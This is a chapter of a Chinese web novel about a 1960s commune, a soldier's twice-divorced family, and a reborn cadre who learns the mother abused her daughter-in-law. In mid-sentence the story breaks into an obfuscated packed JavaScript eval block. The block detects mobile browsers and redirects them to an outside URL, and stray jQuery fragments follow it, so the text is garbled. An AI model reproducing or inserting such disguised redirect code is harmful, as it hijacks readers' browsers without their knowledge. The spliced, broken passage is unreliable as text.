13. 【我在六零做村官】十三

作品:《一篇事业流快穿文

    卫母向着儿子眼神的方向看去,打眼便瞧见一个个头高挑,看上去文质彬彬的年轻女同志。


    那女孩留着头利落的短发,长得倒是不错,只是脸上虽然带着笑,看起来却不怎么亲切,没有这个年纪年轻女孩们应该有的温柔腼腆。


    她竖起耳朵仔细一听,周围人竟然管她叫什么“贺主任”。


    卫母前两个月也回娘家过,也听说过这个贺主任,只知道是首都来的知识分子,却没想到竟然这么年轻。


    她左看右看,都觉得这姑娘实在不错,要是青柏下个媳妇能找个这样的,再生个胖孙子,她死了也没有遗憾了。


    可是她儿子偏偏身子有问题……唉。


    看着那个年轻女同志被社员们簇拥着进了公社,卫青柏这才从恍惚中回过神。


    “妈,走吧。”


    卫母瞪了儿子一眼,恨铁不成钢道:“你说说你,怎么能背着我和你爸又偷偷离婚了?你这都是第二次了,你看看谁家结这么多次婚还没孩子?”


    她心里是真不满前面这两个儿媳,头一个是城里干部家的闺女,脾气大又娇气,三天两头和她对着干。


    第二个她吸取教训,找了个农村出身大字不识,且身材壮实一看就好生养的。


    可儿子不愿意了,二婚四五年了,两人硬是没同房过,给她急得要命,连带着看第二个儿媳也不顺眼了。


    但不顺眼归不顺眼,她却没想着让儿子离婚。


    这年头离婚就够丢人了,一次就算了,竟然还离两次,叫街坊邻居怎么看他们?


    可一向听话的儿子竟然在军队里私自打了离婚报告,告诉他们的时候,两人已经解除了夫妻关系。


    卫母知道后差点气晕过去!


    她现在就盼望着儿子的上司能介绍个知根知底家世清白的好姑娘,可不要像家附近那些媒婆一样,光给她儿子说些死了丈夫或离了婚的女人。


    说难听点,要是在旧社会,这种不够贞洁的女人可是要被浸猪笼的。


    她是做婆婆的,自然希望儿媳一心一意惦记着她儿子,哪怕心里已经隐隐约约有了预感,她还是忍不住幻想——


    她儿子这么优秀,肯定会娶到一个没结过婚、家世清白、长得漂亮、脑子聪明还对她儿子一心一意能给他们老卫家诞下大胖孙子的好姑娘。


    这姑娘家里最好还有点军队关系,能帮青柏点忙,让最近对她儿子似乎有些误会的上面领导回心转意,继续提拔她儿子。


    卫母想着想着,又想起自家儿子如今的现状,刚红润起来的脸色又黯淡下去。


    她又瞪了一眼儿子。


    卫青柏自然知道他妈在气什么,此时也只能苦笑。


    他实在是有苦难言。


    原本和第一任妻子离婚时,两家还没有闹得这么严重。


    只是没过多久,他们住的那片胡同就传出他前妻克夫,导致两人结婚多年一直没有孩子的消息。


    直到老丈人拿着他们两人的体检证明甩到他脸上,他才知道这件事已经闹得沸沸扬扬了。


    离婚之后,前妻没两年又再婚,如今也有了一个女儿。


    而他即便二婚娶了新的妻子,却一直没有属于自己的孩子。


    眼看着就要进入中年,家庭支离破碎,事业也同样毫无建树。


    卫青柏长舒了一口气,看着消散在眼前的白雾,只觉得人生无望。


    儿子不给予回应,卫母一个人也唱不了多久的独角戏,只能憋着一肚子话往娘家走。


    拐进了胡同,瞧见自家大门,便高声道:“妈——我和青柏来看你了。”


    听见动静,院里飞快地跑出一个中年女人,见了两人脸上顿时堆起笑容。


    “他大姑来了,可算来了!妈整天盼着你呢。”


    见到娘家人,卫母的脸色这才好了一些。


    进了屋,她便眼神中带着挑剔地将四周打量了一圈,嫌弃道:“弟妹,不是我说你,咱妈年纪大了,屋子得多烧点柴火,这样才暖和。”


    要是有柴火还能不烧?


    张二嫂翻了个白眼,知道大姑子说话总是这样,但往娘家补贴的可不少,也不顶她。


    “瞧大姐说的,我还能冻着咱妈?”


    张老太年纪大了,耳聋又眼花,丝毫没察觉女儿和儿媳之间的气氛,只是一味地高兴。


    “青柏也来了,这都多久没见了,你爸身体怎么样?”


    卫青柏正要开口,卫母抢着道:“还是那样,没什么大毛病。”


    “那就行,”张老太乐呵呵的,“你们是从公社那边过来的吧,咱公社修的路了不?咱们来了个好干部,以后咱的日子要好过了。”


    卫母确实见过,但也没仔细瞧,反正比不过县城里的大马路。


    “瞧见了,就是条石子路而已,我看公社除了修路,也没什么变化。”


    “哪能一天就变好?那怕是神仙来了也不行。”


    老太太又补了一句,“不过现在不信神仙了,贺主任说咱们靠自己的双手,比求神拜佛管用,我看她说的挺对。”


    这才坐下没几分钟,光听她妈说那个贺主任了,卫母不乐意了。


    “妈,你怎么光念叨贺主任?难道这贺主任比我们家青柏还厉害?”


    听到这话,别说老太太了,卫青柏也忍不住道:“妈,你说什么呢?”


    卫母撇撇嘴,也知道自己说的这话不对。


    她已经习惯在娘家口中听到各种羡慕和崇拜了,这备受追捧的人选突然换了,怎么都不得劲。


    张二嫂暗地里翻了个白眼,故意提起卫母不愿听的话,“咱不说别的了,大姐,我听说青柏又离了?这次是咋回事?”


    老太太忙问:“青柏又离婚了?”


    这次又是因为啥?


    卫母面上有些挂不住,含糊道:“还不是他整日在军队里也不回家,把自家老婆都养野了。”


    听她这么一说,老太太忍不住皱起了眉,“这青柏家的难不成有了外心?”


    “谁知道呢,我们青柏可是天天呆在军队里,一个女人都接触不到要说有问题,那也不可能是我们青柏。”


    老太太狐疑,“那姑娘看着挺憨厚的,他家里人也是方圆几里出了名的老实,是不是人家外人瞎传的?”


    “哎呀妈,你不知道,现在的小姑娘……”


    卫母正要再说些什么,大门“咚咚”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889650|192185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    响了两声,进来一个穿着打扮挺体面的年轻人。


    见到来人,张家老少脸上都忍不住露出笑容。


    “刘干事,快进来坐,喝点热水暖暖身子。”


    刘福燕连忙推拒,“大娘,我们这有任务,收完枕巾枕套还得回公社呢。”


    张老太有些遗憾,但还是指挥着孙女进屋拿绣好的两套枕巾枕套。


    卫母有些奇怪,低声问:“这公社的干事来咱家干啥?”


    张老太笑眯起眼,“你两个侄女有出息,跟着咱大队公社的老师学了半年绣花,现在都能挣钱了,人家刘干事就是来收这个的。”


    张二嫂也与有荣焉,骄傲道:“咱们大队可没几个能进手工小组的人,咱老张家一家就出了俩,说出去叫人羡慕死。”


    “这手工小组又是什么?”


    “哎呀,他大姑,你是太长时间没回家了,连这都不知道。”


    卫母的脸又拉了下来,卫青柏无奈,只得低声道:“妈,别问了。”


    那边刘福燕领了分下去的手工活便回了公社,路上恰好撞见一对母女自妇联办公室的方向离开。


    那大婶看着不过四十来岁,挎着她手臂的姑娘也才二十出头的年纪,只是不知为何整个人透着一股说不出的疲倦,乍一看倒是显得有些老相。


    刘福燕往妇联办公室里探头一瞧,打眼就瞧见一脸严肃的贾主任与几名同样板着脸的妇联干事。


    她再偷看了一眼,恰好和其中一人对上视线——


    方毓晓冲她眨了下眼,刘福燕回以一笑,转身匆匆回了宿舍。


    没过多久,同宿舍的几个干事也推门而入,一进门就忍不住讨论起来。


    “福燕你是不知道,那个当婆婆的简直把儿媳妇当旧社会的仆人使唤,连洗脚水都要儿媳妇端到跟前,稍不如意就说她不孝敬公婆让她儿子和她离婚。”


    “还骂她儿媳是下不出蛋的鸡,多难听的话,竟然也说得出来。”


    “就是,”另一人接话,“就算是自家媳妇也不能这么对待啊,新社会了还搞以前那套,思想太落后了。”


    “听说她儿子还是军队的干部呢,当婆婆的就这么欺负人也不管,我看她儿子也不是什么好东西。”


    “爹妈这么欺负媳妇,他睁眼瞎一样,这次竟然还不经过女同志的同意就打报告离婚,把人家当成什么人了?”


    方毓晓跟着几人一起回来,脸色也不太好看。


    她下午原本是打算给贾主任看下自己的成绩单,顺便套套近乎,没想到竟然亲眼目睹了一场闹剧,而这场闹剧的主人公竟然是贺主任上辈子的丈夫和公婆!


    她不是真的十八九岁的小姑娘,很快就从这些蛛丝马迹里推断出大半个真相。


    或许卫母是欺负儿媳的主凶,但卫青柏这个做儿子的不作为,无疑也助长了她妈的气焰。


    只是,她上辈子为什么没有注意到这件事?


    回想起模糊的记忆里贺主任与丈夫的恩爱,方毓晓脑袋开始疼了起来。


    是她记忆出了问题,还是重生带来的蝴蝶效应让她发现了上辈子连贺主任都没发现的秘密?


    这种人,真的能配得上贺主任吗?